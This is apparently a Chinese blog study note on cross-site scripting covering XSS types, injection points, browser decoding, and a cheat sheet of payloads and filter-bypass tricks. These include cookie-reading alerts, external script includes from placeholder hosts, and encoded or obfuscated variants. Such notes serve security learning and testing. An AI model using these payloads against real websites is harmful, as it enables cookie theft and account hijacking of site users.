本文最后更新于:2022年8月25日 下午
1 XSS 概述和原理
跨站脚本攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号 < 被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
1.1 XSS 类型
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃 cookie

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM—XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。DOM的详解:DOM文档对象模型
可能触发DOM型XSS的属性:document.referer window.name location innerHTML documen.write
2 XSS 载荷与插入位置
2.1 载荷
tip: 所有的闭合标签的 >
都可以用 //
代替
2.1.1 script 标签
- script 标签是最直接的XSS有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中
1 2 3 4 5
| <script>alert("hack")</script> <script>alert(/hack/)</script> <script>alert(1)</script> # 弹出1,对于数字可以不用引号 <script>alert(document.cookie)</script> # 弹出cookie <script src=http://xxx.com/xss.js > </script> # 引用外部的js
|
2.1.2 svg 标签
1 2
| <svg onload="alert(1)"> <svg onload="alert(1)"//
|
2.1.3 img 标签
1 2
| <img src=1 onerror=alert("hack")> <img src=1 onerror=alert(document.cookie)>
|
2.1.4 body 标签
1 2
| <body onload=alert(1)> <body onpageshow=alert(1)>
|
2.1.5 video 标签
1
| <video onloadstart=alert(1) src="/media/aaa.mp4" />
|
2.1.6 style 标签
1
| <style onload=alert(1)></style>
|
2.1.7 details
1
| <details open ontoggle="alert('xss');">
|
2.1.8 select
1
| <select onfocus=alert(1) autofocus>
|
2.1.9 iframe
1 2
| <iframe onload=alert("xss");></iframe> <iframe src=javascript:alert('xss')></iframe>
|
1
| <form action=javascript:alert('xss') method="get">
|
2.1.11 自定义标签
1 2
| <a href='javascript:alert(666)'>click</a> <a href='javascript:alert(document.domain)'>click</a>
|
2.2 XSS 可以插入的位置
- 用户输入作为script的标签内容
- 用户输入作为html注释内容
- 用户输入作为html标签的属性名
- 用户输入作为html标签属性值
- 用户输入作为html标签的名字直接插入到CSS里
2.2.1 测试位置
- 常见业务场景
重灾区:评论区、留言区、个人信息、订单信息、站内信、网页及时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性、URL本身、URL所有参数、表单
1
| uername=<script>alert(1)<script>&</script>&password=******
|
3 XSS 编码与绕过
3.1 网页的解码过程
编码就是将字符变为二进制数,而解码就是还原二进制数为字符。从浏览器请求url到在页面上显示出来也经历了一些编码和解码过程。
URL编码是为了允许URL中存在汉字这样的非标准字符,本质是把一个字符转为%加上UTF-8编码对应的16进制数字。所以又称之为Percent-encoding。
当浏览器接收到服务端发送来的二进制数据后,首先会对其进行HTML解码,呈现出来的就是看到的源代码。具体的解码方式依具体情况而定,所以需要在页面中指定编码,防止浏览器按照错误的方式解码,造成乱码,所以很多网页就指定了解码方式为UTF-8。
但是在HTML中有些字符是和关键词冲突的,比如<、>、&,解码之后,浏览器会误认为它们是标签,为了正确地显示预留字符,需要在HTML源代码中使用字符实体,比如常见的空格 ,字符实体以&开头+预先定义的实体名称表示,但不是所有的字符都有实体名称,但是它们都有实体编号,也可以用&#开头+实体编号+分号表示。比如:
显示结果 |
描述 |
实体名称 |
实体编号 |
< |
小于号 |
< |
< |
> |
大于号 |
> |
> |
浏览器对HTML解码之后就开始解析HTML,将标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码,只要是DOM节点里属性的值,都可以被HTML编码和解析。
tip:所以在PHP中,使用htmlspecialchars()函数把预定义的字符转换为HTML实体,只有等到DOM树建立起来后,才会解析HTML实体,起到了XSS防护作用。
当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如<script> <style>
这样的标签,解析器会自动切换到JS解析模式,而src、 href 后边加入的javascript 伪URL,也会进入JS 的解析模式。
比如<a href="javascript:alert('<\u4e00>')">test</a>
,javascript 出发了JS 解释器,JS会先对内容进行解析,里边有一个转义字符\u4e00,前导的 \u 表示他是一个unicode 字符,根据后边的数字,解析为一,于是在完成JS的解析之后变成了:href=”javascript:alert(‘<一>’)”>test
3.2 绕过
3.2.1 关键字被过滤
3.2.1.1 双写绕过
1
| <scrscriptipt>alert('xss')</scrscriptipt>
|
3.2.1.2 字符拼接
1 2
| <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> <script>top["al"+"ert"](`xss`);</script>
|
3.2.1.3 编码绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| # Unicode 编码 <img src="x" onerror="alert("xss");"> <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
# url 编码 <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
# ascii 码 <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
# hex 码 <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
# 八进制 <img src=x onerror=alert('\170\163\163')>
# base64 <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
3.2.1.4 内嵌编码后TAB
1
| <img src="jav	ascript:alert('XSS');">
|
3.2.1.5 多重尖括号
1
| <<script>alert("XSS");</script>
|
3.2.1.6 将JS文件重命名为图像
1
| <script src="http://xss.rooks/xss.jpg"><script>
|
3.2.2 过滤空格/引号
3.2.2.1 使用/代替
1 2
| <img/src="x"/onerror=alert("xss");> <img src="x" onerror=alert(/xss/);>
|
3.2.3 过滤单/双引号
1 2 3 4
| # 使用反引号代替 <img src=x onerror=alert(`xss`);> # 编码绕过 <img src=x onerror=alert('xss');>
|
3.2.4 过滤括号
1 2 3 4 5 6 7 8 9
| # 使用 throw 绕过 <script>onerror=alert;throw 1337</script> > onerror在每次javascript执行异常时都会被激活,调用指定的处理程序,并且throw语句可创建一个发送到onerror处的包含表达式的自定义异常。因为throw是一个语句,在和onerror配合使用时需要用分号隔离,避免被包含。
# 使用``代替 <script>alert`1`</script>
# HTML编码绕过 <script>alert(1)</script>
|
3.2.5 过滤URL地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| # 使用URL编码 <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
# 使用IP # 使用进制转换 <img src="x" onerror=document.location=`http://2130706433/`> <img src="x" onerror=document.location=`http://0177.0.0.01/`> <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
# html标签中用//可以代替http:// <img src="x" onerror=document.location=`//www.baidu.com`>
# 使用\\ 但是要注意在windows下\本身就有特殊用途,是一个 path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议 <img src="x" onerror=document.location=`\\www.baidu.com`>
# 使用中文句号代替英文点号 <img src="x" onerror="document.location=`http://www。baidu。com`">
# 利用data类型的url代替http:// data:text,alert()
|
4 利用
XSS plamform
参考文章
xss总结
xss编码剖析
探索XSS利用编码绕过的原理